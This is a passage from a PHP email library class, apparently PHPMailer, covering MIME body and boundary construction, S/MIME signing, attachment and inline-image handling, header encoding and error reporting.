                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
